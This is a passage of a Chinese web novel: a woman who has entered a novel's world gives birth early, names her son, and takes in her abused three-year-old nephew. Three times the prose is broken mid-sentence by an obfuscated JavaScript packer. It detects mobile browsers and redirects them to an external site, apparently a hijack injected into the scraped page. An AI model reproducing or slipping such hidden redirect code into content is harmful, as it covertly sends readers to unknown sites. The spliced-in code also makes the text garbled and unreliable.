再醒来，屋内点起烛火。 容芝虚弱地转头，看见乳母怀中的男孩儿闭着眼，四弟妹白氏也在，正用软布给孩子净面、净手，动作小心。 “大嫂你醒了！” 白氏望向她，低声道，“二哥儿刚吃了奶，乖得很。” “二哥儿？”容芝一怔，她记得在小说中游余是三哥儿。因为她意外早产，游余反而赶到二房前面，成了司宁侯府的二哥儿。 布帘掀起，三弟妹李氏端着干净热水进来，探她额头时，木佛珠互相摩擦，她闻到一阵安神的檀香。 李氏凑近耳语，“与大嫂说个趣事，你受苦的时候，二嫂居然守了你半日，刚被老夫人劝回院子。” 容芝能猜到周氏来的目的。那善妒的周氏得知她早产，绝不会担心她，只会生气她的孩子抢了嫡长孙之名，便在此牢牢盯着，非亲眼看游余生下来才死心。 门外已响起环佩叮当。 周氏挺着肚子迈进了门槛，身后跟着丫鬟，捧着一只雕花木盒。 “大嫂可算醒了。咱们二爷听说侄儿早产，叮嘱我送百年山参来。” 周氏站得远远地，言不由衷的目光往下看，在屋里环顾一圈，“大哥还没回府？” 老四家的白氏接道，“大哥大嫂恩爱非常，他公务缠身才耽误了。” “是，”老三家的李氏附和，“每年年节，钦天监都会主持皇家祭祀，马虎不得半点。” 周氏冷笑，轻抚自己的肚子，“也对。我们妇人在这种事上，本就该多体谅男人们。” 她大约站累了，由丫鬟扶着到桌前坐，见案上摆着本《千字文》。 阿桔忙把那书捡起来，却被周氏的手摁住。 周氏抽出书，在案上随意翻开，眼皮掀动，“我侄儿好不容易活下来，大哥也不回来，不知百日时，大哥能不能回来，错过‘命名礼’可不好。呵，说来可笑！咱府上认字的男子一个都不在，留下一群不认字的妇人、仆人，连名字也取不好！” 不等容芝回应，周氏的指甲在某个字上重重一划，“你瞧，这字比‘大’还多一点，寓意肯定极好！” 屋内霎时寂静。 容芝听懂了周氏的话，隔空盯着周氏，气血上涌。 正要骂回去，邓氏推门进来。 “男人们不在，你母亲我还在，用不上你取名！” 邓氏今日不同往日，许是被周氏言辞羞辱，看人的眼神多了狠劲儿。 她身后的贞嬷嬷将一封信送到容芝床边，“从城郊来的，快看看。” 容芝力气没恢复，阿桔接过去拆开，先落出来的是一块白玉。 这玉，是游怜山从不离身的双环玉。 “有什么讲究？看着挺普通，”周氏撇嘴。 贞嬷嬷边走回邓氏身边，边冷道：“二夫人不知道？这双环玉是当年先帝赐给侯爷的，大爷出生时，先帝御笔亲题‘怜取务实’四字，刻在背面。二十三年来，大爷从未离身！" 怜取务实。 容芝没在书中看过游怜山随身佩玉的缘由，可矛盾的是，游怜山在最不务实的钦天监供职，他成日在看天象，卜国运，一点也不务实。 相比之下，像工部、吏部、户部衙门，倒更显得务实些。 “母亲大人恕罪！”周氏慌忙跪了。 邓氏没管周氏。若在平时，考虑周氏有孕在身，不可能让周氏跪。 阿桔把双环玉交给容芝，继续拆出信封里的一张纸，写着两列字： “乘势而为，游刃有余。” “大哥不愧是二甲进士，还卖关子呢！” 白氏凑过来，念道，“乘……游……这是取名游为，还是游刃？” 邓氏听此忽然笑了，“傻孩子，游乘的弟弟，当然是‘游余’。” 说着，意味深长地看向容芝，“阿怜寄回来这两句是告诉咱们，余哥儿虽早产，但会游刃有余地长大。” 容芝眼眶一热。 游怜山穿进了小说，什么都不知道，误打误撞写出这样的勉励话。原著中早夭的游余又闯过一关，定能乘势而为，扭转结局的吧。 “母亲解读得真好，大爷先前确实与我提过这个名字。” 邓氏吩咐贞嬷嬷铺纸研墨，将“游余”二字写得力透纸背，封成喜讯，让贞嬷嬷送去大理寺，给侯爷报喜。 而后，对周氏道：“二媳妇月份也大了，快回去歇着。说不定余哥儿的百日宴，能和你腹中的孩子一道办。” 周氏这才从地上起身，却委屈道：“算一算，母亲生辰快到，大嫂身子亏欠，恐怕要耽搁您的生辰宴。” 邓氏冷着脸摆手，“年年办，年年无新意，今岁不办了，节省银钱和人力，挪给余哥儿吧！” 容芝道：“谢谢母亲。” 周氏又不满意，“您这不办宴，那媳妇还准备了礼物，您一定收下！” 话语间，二房小厮抬来两只箱笼，箱盖上印有“喜珠”二字。 打开，其一是金丝?髻，另一是珍珠帘帽。 “媳妇特意在上京最好的首饰铺定的，母亲可喜欢？”周氏笑道。 金丝?髻编得是芳华牡丹，花蕊处嵌着一片碎红玛瑙。 “哇，喜珠家的手艺好精美！”老四家的白氏双眼发亮，“听说，光金丝就要用三两。” 而那珍珠帘帽更夸张，是用拇指大的南珠串成。 白氏惊叹，“二嫂真用心！喜珠的货至少得提前半年下订。” 邓氏扫了一眼，没说话。 这时阿桔端着药碗进来，碗口腾起热气。 邓氏脸色骤变，不知想到什么，嗓音拔高，“快抬走，我不喜欢遮面的物件！” 白氏和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15994842|178126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 李氏交换一眼，似没看懂。 贞嬷嬷指挥小厮们抬箱笼，周氏扑过去，不敢置信，“母亲？” “说了，我不喜欢遮面的！”邓氏别过脸，目光落在容芝的枕边，“那是什么？阿怜还寄了别的礼物？” 容芝拿起扁圆木盒，“是给母亲的生辰礼，本想过几日亲自送上的。” 老四家的白氏抢先打开盒盖，“扇子啊？” 周氏拈起那柄金骨的团扇，嗤笑道：“做工倒精细，可惜母亲不喜遮面之物，大嫂白费心了。” 扇面被贞嬷嬷展开，游家家宅的全景在素绢上流淌。正院，东园，西园，南园，北园，还有梅园，处处景致，无一遗漏，全在这两只手掌的小扇面上。 邓氏伸手拿扇子，指尖轻颤，“真美。” 周氏眸子睁大，气道：“就因大嫂生了长孙，母亲要如此寒我的心？” “你不懂，我喜欢的是这画中的家宅。” 邓氏摩挲扇面，停在角落一枚朱印上，念道，“尔惑。” 周氏终于想到什么，猛地转向容芝，“大嫂认识隐居寒山寺的画师？” 容芝浅笑，“说起来，我能求来此扇画，还要谢二弟妹。那日，你说母亲喜爱尔惑的画，我才冒雪上山去求。” 白氏、李氏又交换个眼神，“大嫂去寒山寺，竟是二嫂的主意啊？” 周氏脸色煞白，再次给邓氏跪下，“母亲，母亲……” 邓氏站着没动，低眉瞧着周氏，片刻，眼神示意贞嬷嬷。 贞嬷嬷作势拉周氏，“大夫人刚早产，二夫人也不爱惜自己，难道想让老夫人再受惊？” 周氏哭着起身，“媳妇不敢！” 邓氏长叹，静静瞥了周氏一眼，没再说什么。 她把容芝送的扇画合起来，握在手里，领着贞嬷嬷离去。 院门开了又关。 躬身相送的白氏抬起头，冲旁边的周氏冷笑，“哎呀！二嫂机关算尽，还是让大嫂的余哥儿抢了嫡长孙之名！" “你！” 周氏嘴角发抖，突然扯掉白氏的碧玉簪，用力砸下去，“他游怜柑不过侯爷抱养的野种，你也配这嫡媳之名？” 玉簪断成两截，白氏捡起来，按在心口，嚎啕大哭。 哭声吵醒容芝怀中的婴孩游余，他也跟着哇哇大哭。 容芝赶紧抱起游余，“余哥儿乖，娘亲在，娘亲在。” 事情到此，阿桔不得不下逐客令，“各位夫人，回吧。" 待人散去，屋门关好，游余不哭了。 阿桔回来，勾游余的小鼻子，“二哥儿是个小机灵鬼！” 容芝不舍得放下游余，细细看他的眼睛、嘴角，似乎看出了游怜山熟悉的影子，忙回过神，松了手。 “老夫人居然喜欢尔惑的扇画，”阿桔喃道。 容芝看向院门，想起那日在寒山寺，坐在屏风后的侧脸剪影，与邓氏是很有几分相似的。 小说中写：司宁侯游仁泰的正妻邓氏，乃圣上表亲。 莫非，二十出头的尔惑画师是……皇子？ 容芝让阿桔拿纸和墨，尔惑的扇画钱还没结给他。 她先给城郊的游怜山回了信，后写给尔惑的信时，提着笔犹豫。 尔惑这棵摇钱树，她想抓在手里，合作赚钱罢了，不管他什么身份。 阿桔出院送信，在门前碰见个人。 那人看着院中，问：“她，睡了？” 5. 过继（上） 忽听外间脚步声，容芝放下双环玉，推入枕底。 “夫人，老夫人跟前的贞嬷嬷来了，”阿桔挑起珠帘，引一位鬓角斑白、素面净肤的老妇进来。 容芝略微失落，但仍对老妇笑道：“可是母亲还有事交代儿媳？” 贞嬷嬷生了张圆脸盘，看着很是慈祥，福身行礼时，衣袖规整得一丝不苟，“大夫人莫紧张，产后体虚，您躺着说话吧。” 容芝让阿桔奉茶，秀眸凝住，又打量了一眼这位来客。 方才婆母邓氏来时，这贞嬷嬷是近身伺候着的。想来，应是之前贾嬷嬷的冒失让邓氏心生害怕，便带话回宫请来办事妥帖的“贞嬷嬷”。也或者，是公爹游仁泰心疼邓氏，从旁促成了换仆。 “老奴给您送两支高丽参来，是前儿圣上赏的，老夫人说，正合大夫人服用，”贞嬷嬷说。 阿桔接过礼盒，并归入桌上那堆补品，摆在外层，一目了然。 容芝道谢，因问道，“敢问嬷嬷，在宫中伺候过哪位主子？” 贞嬷嬷双手捧着阿桔斟的茶，眼尾笑纹深刻，“老奴福薄，年过半百，在尚宫局管了二十年衣裳首饰，有幸得先太后召见。那时，老人家的头面，非得老奴梳不可！" 先太后正是婆母邓氏的亲姑姑，贞嬷嬷与邓氏，是多年的旧相识。 容芝正思量着，阿桔来帮她拉被角，因背着贞嬷嬷，捂嘴对她笑，“夫人，这下子，咱人参吃不完了……” 容芝自有打算，“改日找门道，问问价。” 这话半真半假，她手里现银不多，卖人参，肯定要卖，可也不必让贞嬷嬷知道。 但见贞嬷嬷眉头微动，笑道：“大夫人持家有道。” “大伯——” 由门外冲进一个小小身影，大约被屋里的生人吓退，他的笑僵在脸上，立刻转过身要跑。 “乘哥儿来了！”阿桔追出去，扯住游乘的灰蓝袄袖，“你今日又给余哥儿带了什么好吃的？" “我自然带了，”游乘红着脸喘粗气，探头看贞嬷嬷，又赶紧转开脸。 见此，容芝与贞嬷嬷对视一笑。 贞嬷嬷朝游乘招招手，“你就是府里的大哥儿？快走近些，让嬷嬷好好看看你！” 左右躲不掉，游乘磨蹭着挪进来，规规矩矩给贞嬷嬷行礼，小脑袋一低，“嬷嬷好。” “啧啧，好俊的哥儿！”贞嬷嬷从袖中摸出芝麻糖，“给，拿去吃！” 游乘收了礼，慢慢抓过糖，多添了块自己带的怡子糖，都放在容芝手里，“给三弟弟……二弟弟吃。” 容芝的心化了，摸摸他的头发，“乘儿最乖了。” 才三岁的半大小子，自己馋得咽口水却记挂着别人，怎不惹她心疼？ 天寒地冻，容芝怕二房又没给游乘饭吃，吩咐阿桔准备热乎的汤面。 突然，听贞嬷嬷“咦”了一声。 “哥儿这脖子……” 贞嬷嬷拨开游乘的衣领，倒吸一口凉气，惊道，“谁掐了你？” 孩童细嫩的皮肤上有青紫的指痕，看淤血程度，恐怕被伤了两三日。 阿桔手中的茶壶“当啷”落在地上，霎时已红了眼圈，“还能有谁？二夫人自打怀了身子，脾气越发大了……” “你别胡说，”贞嬷嬷厉声打断，“那周氏是乘哥儿的嫡母。” 可怕的安静里，游乘“哇”地哭出来，猛地扑进容芝怀里，“大伯母！我想读书！想到高处！想让她够不着我！！” 贞嬷嬷如遭雷击，呆呆地在椅背上靠了片刻才回神，“虐待庶子？堂堂司宁侯府的嫡媳，居然干出这等可耻事？！” 容芝摇摇头，只轻拍着抽泣的游乘。 有些话，她这个隔房伯母不便出面说，但宫里来的老嬷嬷就不同了。 “丧良心的玩意儿！” 贞嬷嬷拍案而起，冲着南面二房方向，骂道，“哥儿喊她一声母亲，她就这么作践哥儿？” 阿桔忙去捂她的嘴，“嬷嬷慎言！二夫人怀着身子呢。” “她就是怀着龙种，也不能虐待孩童！” 贞嬷嬷甩开阿桔的手，眼中怒火迸发，“老奴这就去禀告老夫人！” 容芝急道，“嬷嬷初来乍到，有所不知。乘哥儿毕竟是二房的孩子，我们若插手，这，说不过去的。” “大夫人是聪明人，现在糊涂了？您可是嫡长媳，管教全府的子侄，都名正言顺，”贞嬷嬷压低声音，又意味深长地看了眼游乘，“这孩子与您亲近，将来有了出息，能不念您的好？” 容芝当然明白道理，可她不能太快同意，得再磨一磨贞嬷嬷的善心。 正犹豫间，游乘挣开她的手，“扑通”给贞嬷嬷跪下，磕头道，“求贞嬷嬷救我！昨儿母亲还说，等三弟弟出生，把我送去外城庄子上！” “乘哥儿！”容芝惊得要下床，却见贞嬷嬷已然老泪纵横。 “我可怜的孩子，你这事嬷嬷管定了！”贞嬷嬷一抹眼泪，风风火火往外走，“你们等我好消息。” 容芝被阿桔扶回床上，双眼一直追着贞嬷嬷的背影。 廊下，融雪水洒在灰白的发上，斩钉截铁的声音渐去渐远，“在宫里什么刁钻货色没见过？老奴非要整治整治她的臭毛病！" 后来发生的，容芝无法亲眼看，到次日一早，她听阿桔说了个大概。 数月不回府的大理寺卿游仁泰，昨夜归来，在邓氏房中待到了天明。 紧接着，正院传出了消息——即日起游乘搬入长房东园。 “我知道那贞嬷嬷不简单，可也没敢想，这么快呀，”阿桔边讲边咋舌，“贞嬷嬷到底怎么与老夫人说的？” 容芝不知细节却能想见，那老妇在宫中厮杀多年，定有狠手段。 且她婆母邓氏，又是好惹的么？她还记着那日邓氏在她的马车里哭诉的肺腑之言，说明在公爹游仁泰心里，邓氏占据了相当大的分量。 “父亲与母亲的感情，真好，”半日，容芝感慨道。 早膳过后，容芝让阿桔扶着在床边活动。 她这具身体才二十岁，饶是早产大亏，几日休养下来也恢复大半。 抱游余的时候，又想起城郊的游怜山。 他几时办完差事，几时回府？ 容芝絮絮叨叨地想，问阿桔，“你把信送出去了？” “送了。给大爷的，给尔惑先生的，都送了。” “甚好。对了，乘哥儿那边，说没说几时搬来？你，赶紧把朝南那间空屋收拾出来，书案、书架这些，都置办新的，还有——” “大伯母！” 容芝听见熟悉的喊声，往屋外走了几步。 “大伯母。” 她被游乘抱住。 他仰着脸，笑盈盈地望她。他抱着自己的小包袱，眼角湿润，“乘儿来了！再不走了！” 容芝抹去他的泪，“好，甚好。” 又看见他脖子里的淤青，忽然喉头哽咽，“以后，再不走了。” 来的人还有贞嬷嬷，手提橙黄的布口袋，说是宫里送来的文房四宝。 “把乘哥儿交给大夫人，老奴不辱使命。” 贞嬷嬷垂下眼，似有遗憾，“周氏现下情况特殊，等她生下孩子，老夫人自会追究她的错。" “您莫要自责，能为乘哥儿争取到今日这一面，媳妇满意，乘哥儿也满意，对不对？”容芝看看游乘。 他立刻道，“多谢嬷嬷救命之恩！” 贞嬷嬷拦住他，不让他跪，“哥儿经历这番磨折，将来必有大成！” 又看了看容芝怀中酣睡的小儿，想起什么，“问没问，大爷几时回？” 容芝说，“没问，问也白问。他给圣上当差，不是自由身。若我问，徒增他烦恼。” 她的袖角被游乘扯住。 他剥好了怡糖，掰成两半，大的给容芝，小的含在自己嘴里，眉眼笑弯，“大伯母吃！甜！” 容芝一口咬住那糖，道，“确实甜。” 原著中那个阴鸷狠辣的权臣，此刻是为了半块糖欢喜的孩子，而她和他的命运，正在一点点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15994843|178126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被改变。 与此同时，南面二房院里，传来瓷器碎裂的动静。 化了一夜雪，阿桔赶早在东园门前洒扫。 几个丫鬟靠近，悄悄议论昨夜二房的动向。 “二爷回府了！天没亮就被侯爷叫去书房问话。” “方才有人看见周氏，她红着眼眶也去了正院，这会儿，定是为乘哥儿的事告状呢！” 听阿桔转述时，容芝在给游余换尿垫，闻言，手上一顿。 拿着的纱布被游余扯过去，正好盖在他小脸上，吓得阿桔赶紧掀开。 二房游怜泉在大理寺做评事，正七品，主理重大案件的复核重定。 官小权大，容易出政绩，容易晋升，说的就是游怜泉这一类人。 年中的时候，江南出了一桩舞弊案，牵涉到三个州府。 游怜泉奉旨南下复核此案，帮十几个举子恢复了科举功名，不仅得到当地百姓敬仰，也在上京引起不小的轰动，威名远播。 “听说，宫中那位也很欣赏二爷。门房说，昨半夜二爷回府，多带了一架马车，怕是收了不少结交礼！” 容芝端起桌上的补气汤，还没入口，已皱起眉。 阿桔说，“我去拿糖。” “不用，”容芝仰头，把一大碗药喝干。 院门被人推开。 急促的脚步声里，管家给容芝行礼，“大夫人。” 容芝放下空药碗，站起身，“是不是父亲回来了？” 管家愣了下，点点头，“侯爷请您去正院说话。” 阿桔心疼容芝，“好几里地，您能走过去么？我去找轿子。” 容芝笑道，“你扶着我，咱俩慢慢走。” 这一路，花了两炷香。 等到了正院门前，容芝远远就看见邓氏，她站在紫藤架下，冬阳透过花叶，在她素净的面上描摹。 “母亲，”容芝走近，福身行礼。 邓氏伸手扶她，“看你脸色还虚，唉！你莫怕，有我在。” 这时，书房突然传出周氏的哭诉： “……儿媳真无用，保不住自己的孩子……哭坏就哭坏吧！” “周氏！不要胡闹！” 游怜泉的话听来又生气又疲惫，“太医早晨说你胎象不稳。” 管家上前敲门，“侯爷，二爷，大夫人到了。” 里面静了一瞬，而后，司宁侯游仁泰沉稳道，“让她进来。二郎，你们夫妻回避一下？” “父亲，儿媳不走，也不能走！” 周氏拔高音调，“倒要听听大嫂怎说！她已有余哥儿，为何还要抢我的乘哥儿？” 书房门开，容芝迈过门槛，见游怜泉扶着周氏的肩膀，眼睛看向她。而周氏的眼下两团青黑，估摸，最近睡得不好。 “儿媳见过父亲。” 容芝向游仁泰行礼，又轻轻转向游怜泉，“二弟，一路辛苦。” 游怜泉笑，摸出个锦囊，递来，“补给余哥儿的出生礼，我回来迟了。” 锦囊打开，滑出一枚玉锁，锁面刻着“喜乐”二字。 “你还准备了这个？”周氏狠狠剜了游怜泉一眼。 容芝把玉锁放回去，想推辞。 司宁侯游仁泰开了口，“替余哥儿收着吧，是二郎的一点心意。” 玉锁质温，容芝却觉得烫手，她说，“儿媳听父亲的，多谢二弟。” 游仁泰捋了一把胡须，“大媳妇为游家诞下嫡长孙，是大功。早产让你受苦了，幸而你母子平安。” “可是，有些病在小时候看不出来，”周氏嘀咕道。 游仁泰斜她一眼。 游怜泉立刻喊道，“周氏！” 容芝注意到，游怜泉握拳的指节发了白。 她上前，温声道，“前日父亲帮请的太医新开了药方，余哥儿连服了几副，气色渐好，劳父亲挂心了。不知，父亲今日唤儿媳来，所为何事？” 游仁泰单刀点破，“乘哥儿搬去你院里了？你母亲想让你教养他，但你已有余哥儿。” 6. 过继（中） 周氏舍不得庶子游乘？不可能。 这是容芝来正院的路上想清楚了的。 无论从原著内容看，还是从她的自我感受看，完全不存在周氏舍不得游乘的迹象。故而，周氏今日非要把事儿闹大，闹到司宁侯游仁泰的面前……大概只有一个理由。 容芝又看了眼演戏上瘾的周氏，不免心底发笑。 既然周氏要这个体面，她倒愿意给周氏一小块遮羞布。毕竟，嫡母虐待庶子的丑事，若传扬出了侯府，最丢脸的、挨最多非议的是司宁侯游仁泰，以及侯府二爷游怜泉。再往大了讲，甚至可能牵连侯府所有人。这其中，当然包括她和游怜山。 眼下，游仁泰希望大事化小，周氏又要体面。 容芝被夹在两方中间，需考虑两方的诉求，可她自己的所求是，游乘免受干扰，顺利走上科举青云路，换她和家人的平安。 为此不变的大主题，她付出小牺牲小赔头，无所谓。 “父亲，您愿意给儿媳说辩的机会，儿媳感激。” 容芝以退为进，双膝屈下去，跪在了游仁泰脚边，继续道：“二弟二弟妹舍不得乘哥儿，儿媳如今做了母亲，哪会不理解？只是，儿媳先前经历早产，九死一生，便更认识到女子生产险象环生，稍有不慎恐抱憾终身！儿媳去鬼门关走一遭，活着回来，是万幸，便不愿二弟妹再去走一遭……二弟公务繁忙，照顾二弟妹是儿媳与三弟妹四弟妹义不容辞的责任。乘哥儿亦懂事，乖巧，但到底只有三岁，若他冲撞了二弟妹，影响腹中嫡孙，不妥不该。所以，前日儿媳斗胆找贞嬷嬷，向母亲请求，由儿媳暂时教养乘哥儿。待来日，二弟妹诞下嫡孙，精力有余，再让乘哥儿回去，便好。乘哥儿永远是二弟的儿子，儿媳不敢抢走乘哥儿，从没想过。” 一番话，真假掺半。 容芝自知走了一步险棋，也是要赌一局。 而她的赌注押的正是原著中对周氏的人物设定——善妒、恃宠而骄、吃软不吃硬。 “一个孩子是养，两个也是养，”半晌，游仁泰开口道。 “可是父亲……”周氏还欲说什么，被游怜泉死死摁住。 夫妻间的拉扯看在游仁泰眼中，他一弯腰扶了一把容芝，长叹道，“说起照顾，现下府上最需被照顾的，就是大儿媳你了。” “可是父亲、母亲还有东园中人都很照顾儿媳，父亲不必太挂心儿媳，”容芝起身时，腿脚发了麻。 幸而游怜泉抓住她的肩，将她提溜着站稳，“大嫂小心。” 容芝对他浅浅一笑，“多谢二弟出手。” 游怜泉反而羞红了面，“一家人，无须言谢。” 容芝摇摇头，笑道：“乘哥儿去我身边，二弟也要放心，乘哥儿与余哥儿投缘，昨儿还教弟弟认‘天地玄黄’呢。” 此温言，在屋内散开，甚是熨帖。 游仁泰立在上首，唇角微微仰高，“他们哥俩养在一处，或许真是好事吧。” “父亲，二爷，你们是不是忘了，”周氏突然喊道，“乘哥儿是我二房的骨血？” 游怜泉扶额。 游仁泰却笑，“好了，此事不必多说，就这么定了。但明面上，别讲成什么‘过继’，乘哥儿暂由嫡长媳教，罢了，也合乎规矩。” 又整了整官服，“大理寺还有案子，你们自便。” 容芝退出书房。 婆母邓氏迎上来，双目含泪，“别再走回去，你父亲安排了轿夫，这就到。” 阿桔更是哽咽不成声，紧抱住容芝，“是奴婢不好，又让您受苦了！” 容芝摸摸她的脸，“傻姑娘，你莫要哭，我不好好的么？” 身边，游怜泉和周氏走过去。 容芝追着瞧了瞧，见周氏低头用帕抹泪，可眼眶干燥，睫毛都没湿。 轿夫到了，容芝懒得多管周氏，告别邓氏，由阿桔扶上轿子。 刚走了几步，阿桔让轿夫停下，掀开布帘，对容芝道，“夫人快看！” 容芝顺着转头，原来从松林后面传来了笑声。那周氏凑在游怜泉耳边说着什么，眉眼间，哪有半分方才的悲戚？ “毒妇！装货！”阿桔愤懑不已，“她丢了乘哥儿，倒像捡了宝，真该让侯爷看看她现在的嘴脸。” 容芝心想，这周氏还没回南园就笑开了花，当真无所顾忌。 日后有的是机会让周氏露出尾巴，不差今日这一时。 “咱走吧，出来这么久，余哥儿该饿了。” 快到东园，南面忽然一阵喧哗。 几个婆子往二房跑去，面色慌张。 阿桔扶着容芝，随口问其中之一，“什么事儿？” 婆子上气不接下气，“二夫人发动了！” 容芝目送那婆子跑远，收回目光，“终于，周氏也要生了。” 阿桔冷嗤，“但愿老天爷照顾周氏，多留她在鬼门关几个时辰。” “唉，且积点口德，”容芝笑道。 亥时，容芝醒了。 游余拉扯她的袖子，她怕他又饿，赶紧喊阿桔点蜡烛。 烛台亮了，容芝发现阿桔一个人偷乐，“有啥好消息？” 阿桔把嘴捂得更严，笑声也更大，“周氏生了，没用到一个时辰。” 容芝：“嗯？” 阿桔松开手，声音压低，“她生的，是个小小姐！” “……”容芝明白过来，“怪不得你如此高兴。” 阿桔哼了声，“这是天给的报应，看她今后还翻天。” 笑声未落，屋门外有些动静。 容芝对那边喊道，“乘哥儿，你也醒了？” 片刻，小儿走近，眼底红红的，像是刚哭过。 阿桔忙把他搂过来，抱到容芝的身边，“做噩梦了？” 游乘摇头，又看看容芝，“母亲说过的，若生不出弟弟，就把我送去庄子上。” “不怕，”容芝轻拍孩子的背，“有我在，没人能送走你。” 一夜之间，周氏生女的消息像墨入水，在侯府悄然晕开却无人敢言。 这天，容芝早晨起床，游乘已在南屋窗前看《千字文》，却不知他看得懂不。 游余已满了月，白日醒着的时候越来越长，容芝和阿桔轮换着抱他哄他，有时看顾不过来，游乘便来帮忙，拿着《千字文》一本正经教游余认字。 年节将至，阿桔听容芝的吩咐，去各房院子送书局的分红，才不到三十两银，给游乘买几本开蒙书就花完了。之前收的人参也让阿桔找铺子卖了，但换的银也是杯水车薪。 “乘哥儿翻年四岁了，是不是要拜个老师？”阿桔竟有操不完的心。 容芝想起来，原著里上京最有名的科举尊师，乃是内阁次辅、刑部尚书袁至诚的胞弟，袁敞。 此袁敞，无官职，门下进士多如牛毛。像是杜景明、杨海等等朝堂清流，都得尊他一声“老师”，而近二十年的科举策论押题，皆以他的文为学习范本。 可是，袁敞、袁至诚兄弟与司宁侯游仁泰的政见相左。 因袁敞写的文章多推崇“宽而有制”，而大理寺卿游仁泰，一生最在意的就是“国有法度”，时常把一句“国无法度，国如何国”奉为圭玉。 所以整个上京都知道：大理寺卿游仁泰，和刑部尚书袁至诚是宿敌。 有关朝局，容芝无法找阿桔商量，倒有点想念城郊的游怜山了。 正愁苦，阿桔引着个人进了院门。 容芝以为是贞嬷嬷来看望，没抬头，闷闷喊了声“嬷嬷”。 “我可不是嬷嬷！”是游怜山。 他风尘仆仆进了院，官袍下摆沾了泥点，眼下青黑，先过来抱走了容芝怀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15994844|178126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里的游余。 游乘也从南屋跑来看热闹，“大伯！” 游怜山把游乘抱起来亲了一口，“哎哟，我的乖乘儿！” 又看着容芝，道，“事情我听阿桔讲了，这段时间辛苦你了，小芝。” 容芝冲他冷笑，“快别演了，也没外人在。” 晚膳吃得喜乐极了。游乘坐在游怜山腿上，吃一口，叫一个大伯，仿佛要把过去数月缺了的补不回来，把游怜山哄得合不拢嘴。 阿桔悄声与容芝说，“第一次见乘哥儿笑成这样！” 容芝点点头，很想说：何止游乘，她也是第一次见游怜山笑成这样。 饭后游怜山被游乘拉去讲书。 游余饿了，阿桔抱回来交给容芝，主仆俩边忙活，边说二房的趣事。 “那周氏天天摔摔打打，闹着想把乘哥儿要回去。这叫什么？从前你对我爱答不理，现在我让你高攀不起。” 容芝笑了笑，“还没到高攀不起的地步。” 阿桔不同意，“我看乘哥儿挺爱读书，还怕他来日不中状元？” “也是，”容芝说。 阿桔又笑，“周氏这次早产伤了根本，太医说，她再难有孕了。” 容芝扭回头，“还有这事啊。” 似乎事情走向已经偏离了原著，那原著里周氏是生了嫡子的。 吱嘎一声。 游怜山从南屋出来，疲惫地转着肩颈。 容芝让阿桔去备热水，自己去检查院门关没关好。 正要落锁，管家推开门缝，小声问：“大夫人，大爷到了么？” 容芝点点头，说，“你们大爷累得不轻，没重要事，明天再来找他。” 管家说，“有有有！老夫人有请。” 容芝一惊，担忧道：“郑叔，今天又为什么？” 郑叔叹气，“还不是二房的事儿么？您和大爷一道过去，天冷，您多穿件衣。” 身后，游怜山不知何时站着，“父亲已应允，周氏还敢去闹母亲？” 容芝看看他，夜色也掩不去他面上的肃杀，而他这副杀神模样，才是容芝从前最熟悉的模样。 “莫慌！你在游怜泉也在，周氏伤不到母亲，”容芝扯了下游怜山的袖子。 游怜山随她回了屋，“我是怕她伤你！不过正好让我看看她的手段。” 话音被郑伯听了去，郑伯笑道：“大爷和夫人，伉俪情深！” 正院，前厅。 邓氏端坐上首，周氏裹着厚斗篷坐在一旁，面白如纸，游怜泉挨着她坐。 见长房夫妻进来，游怜泉起身喊“大哥”，周氏却抽泣起来。 邓氏忙劝道，“唉，宜娘刚出生，还要你照顾，为了她你也该保重。” 周氏哭声反而更大，游怜泉看着她，直摇头。 “儿子见过母亲，”游怜山扶着容芝给邓氏行礼。 又走到周氏面前，将带的高丽参放在她案上，“二弟妹生下宜娘，多有劳累了。” 周氏瞥见那案上的参，抽噎声竟小了些。 邓氏轻叩茶盏，“大晚上的，我不废话。你们父亲意思是……让乘哥儿自己选。” 周氏猛地抬头，“父亲好偏心！若让小崽子自己选，他肯定选大嫂！” 邓氏放下了茶盏，“那你就该想想，为何如此。” 周氏被噎，泪水唰地滚下来。 游怜泉突然开了口，“不如这样？我与大哥比一场。” 游怜山挑眉，“那我认输，你是大理寺的，身上有功夫。” 邓氏点头，“在理。” 游怜泉摆摆手，笑道，“大哥，不比武。我是想说乘哥儿该开蒙了，我与大哥各寻一位老师，由母亲定夺谁寻的更好，乘哥儿便跟谁。” 邓氏当即拍板，“行，就这么定了。” 7. 过继（下） 半月后是年节。 若无特殊，忙碌一年的钦天监监正游怜山该休沐了，可容芝倒不愿他留在院中，他时时在自己眼前晃悠，她会烦。 这一路回来，长房夫妻两人各怀心事，毫无交流。 再过两道月洞门就到东园，容芝转头看向游怜山，“最近朝堂上有没有动向？” 游怜山拉着她快走几步进了院门，关住门才小声道，“怎么？有大剧情点要来？” 